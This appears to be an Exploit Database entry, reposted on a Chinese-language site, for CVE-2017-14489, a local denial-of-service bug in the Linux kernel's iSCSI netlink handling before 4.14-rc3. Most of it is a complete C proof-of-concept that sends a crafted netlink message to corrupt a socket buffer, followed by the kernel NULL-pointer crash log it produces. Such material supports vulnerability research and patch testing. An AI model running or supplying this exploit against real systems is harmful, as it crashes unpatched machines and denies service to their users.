Linux Kernel < 4.14.rc3 - Local Denial of Service

Exploit Database
123 阅读

作者： Wang Chenyu

日期： 2017-10-02
类别：
- dos
平台：
- linux
来源：https://www.exploit-db.com/exploits/42932/

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# Exploit Title: Linux Kernel<4.14.rc3 Local Denial of Service

# Date: 2017-Oct-02

# Exploit Author: Wang Chenyu (Nanyang Technological University)

# Version:Linux kernel 4-14-rc1

# Tested on:Ubuntu 16.04 desktop amd64

# CVE : CVE-2017-14489

# CVE description: This CVE is assigned to Wang Chunyu (Red Hat) and

discovered by Syzkaller. Provided for legal security research and testing

purposes ONLY.

In this POC, skb_shinfo(SKB)->nr_frags was overwritten by ev->iferror = err

(0xff) in the condition where nlh->nlmsg_len==0x10 and skb->len >

nlh->nlmsg_len.

POC:

#include <sys/socket.h>

#include <linux/netlink.h>

#include <stdlib.h>

#include <string.h>

#include <stdio.h>

#define NETLINK_USER 31

#define MAX_PAYLOAD 1024 /* maximum payload size*/

struct sockaddr_nl src_addr, dest_addr;

struct nlmsghdr *nlh = NULL;

struct iovec iov;

int sock_fd;

struct msghdr msg;

int main()

{

sock_fd=socket(PF_NETLINK, SOCK_RAW, NETLINK_ISCSI);

if(sock_fd<0)

return -1;

memset(&src_addr, 0, sizeof(src_addr));

src_addr.nl_family = AF_NETLINK;

src_addr.nl_pid = getpid(); /* self pid */

bind(sock_fd, (struct sockaddr*)&src_addr, sizeof(src_addr));

memset(&dest_addr, 0, sizeof(dest_addr));

dest_addr.nl_family = AF_NETLINK;

dest_addr.nl_pid = 0; /* For Linux Kernel */

dest_addr.nl_groups = 0; /* unicast */

nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(MAX_PAYLOAD));

memset(nlh, 0, NLMSG_SPACE(MAX_PAYLOAD));

nlh->nlmsg_len = 0xac;

nlh->nlmsg_pid = getpid();

nlh->nlmsg_flags = 0;

strcpy(NLMSG_DATA(nlh), "ABCDEFGHabcdefghABCDEFGHabcdef

ghABCDEFGHabcdefghABCDEFGHabcdefghABCDEFGHabcdefghABCDEFGHab

cdefghAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCDDDDDDDDDDDD\x10");

iov.iov_base = (void *)nlh;

iov.iov_len = 0xc0;

msg.msg_name = (void *)&dest_addr;

msg.msg_namelen = sizeof(dest_addr);

msg.msg_iov = &iov;

msg.msg_iovlen = 1;

printf("Sending message to kernel\n");

sendmsg(sock_fd,&msg,0);

printf("Waiting for message from kernel\n");

/* Read message from kernel */

recvmsg(sock_fd, &msg, 0);

printf("Received message payload: %s\n", (char *)NLMSG_DATA(nlh));

close(sock_fd);

}

Crash info:

[ 17.880629] BUG: unable to handle kernel NULL pointer dereference at

0000000000000028

[ 17.881586] IP: skb_release_data+0x77/0x110

[ 17.882093] PGD 7b02a067 P4D 7b02a067 PUD 7b02b067 PMD 0

[ 17.882743] Oops: 0002 [#1] SMP

[ 17.883123] Modules linked in:

[ 17.883493] CPU: 1 PID: 2687 Comm: test02 Not tainted 4.14.0-rc1+ #1

[ 17.884251] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS

Ubuntu-1.8.2-1ubuntu1 04/01/2014

[ 17.885350] task: ffff88007c5a1900 task.stack: ffffc90000e10000

[ 17.886058] RIP: 0010:skb_release_data+0x77/0x110

[ 17.886590] RSP: 0018:ffffc90000e13c08 EFLAGS: 00010202

[ 17.887213] RAX: 000000000000000d RBX: ffff88007bd50300 RCX:

ffffffff820f96a0

[ 17.888059] RDX: 000000000000000c RSI: 0000000000000010 RDI:

000000000000000c

[ 17.888893] RBP: ffffc90000e13c20 R08: ffffffff820f9860 R09:

ffffc90000e13ad8

[ 17.889712] R10: ffffea0001ef5400 R11: ffff88007d001700 R12:

0000000000000000

[ 17.890349] R13: ffff88007be710c0 R14: 00000000000000c0 R15:

0000000000000000

[ 17.890977] FS:00007f7614d4c700(0000) GS:ffff88007fd00000(0000)

knlGS:0000000000000000

[ 17.891592] CS:0010 DS: 0000 ES: 0000 CR0: 0000000080050033

[ 17.892054] CR2: 0000000000000028 CR3: 000000007b022000 CR4:

00000000000006e0

[ 17.892629] Call Trace:

[ 17.892833]skb_release_all+0x1f/0x30

[ 17.893140]consume_skb+0x27/0x90

[ 17.893418]netlink_unicast+0x16a/0x210

[ 17.893735]netlink_sendmsg+0x2a3/0x390

[ 17.894050]sock_sendmsg+0x33/0x40

[ 17.894336]___sys_sendmsg+0x29e/0x2b0

[ 17.894650]? __wake_up_common_lock+0x7a/0x90

[ 17.895009]? __wake_up+0xe/0x10

[ 17.895280]? tty_write_unlock+0x2c/0x30

[ 17.895606]? tty_ldisc_deref+0x11/0x20

[ 17.895925]? n_tty_open+0xd0/0xd0

[ 17.896211]? __vfs_write+0x23/0x130

[ 17.896512]__sys_sendmsg+0x40/0x70

[ 17.896805]? __sys_sendmsg+0x40/0x70

[ 17.897133]SyS_sendmsg+0xd/0x20

[ 17.897408]entry_SYSCALL_64_fastpath+0x13/0x94

[ 17.897783] RIP: 0033:0x7f7614886320

[ 17.898186] RSP: 002b:00007fff6f17f9c8 EFLAGS: 00000246 ORIG_RAX:

000000000000002e

[ 17.898793] RAX: ffffffffffffffda RBX: 00007f7614b2e7a0 RCX:

00007f7614886320

[ 17.899368] RDX: 0000000000000000 RSI: 0000000000600fc0 RDI:

0000000000000003

[ 17.899943] RBP: 0000000000000053 R08: 00000000ffffffff R09:

0000000000000000

[ 17.900521] R10: 0000000000000000 R11: 0000000000000246 R12:

0000000000400b9e

[ 17.901095] R13: 00007f7614d50000 R14: 0000000000000019 R15:

0000000000400b9e

[ 17.901672] Code: 45 31 e4 41 80 7d 02 00 48 89 fb 74 32 49 63 c4 48 83

c0 03 48 c1 e0 04 49 8b 7c 05 00 48 8b 47 20 48 8d 50 ff a8 01 48 0f 45 fa

<f0> ff 4f 1c 74 7a 41 0f b6 45 02 41 83 c4 01 44 39 e0 7f ce 49

[ 17.903190] RIP: skb_release_data+0x77/0x110 RSP: ffffc90000e13c08

[ 17.903689] CR2: 0000000000000028

[ 17.903980] ---[ end trace 2f1926fbc1d32679 ]---

Reference:

[1] https://patchwork.kernel.org/patch/9923803/

[2] https://github.com/google/syzkaller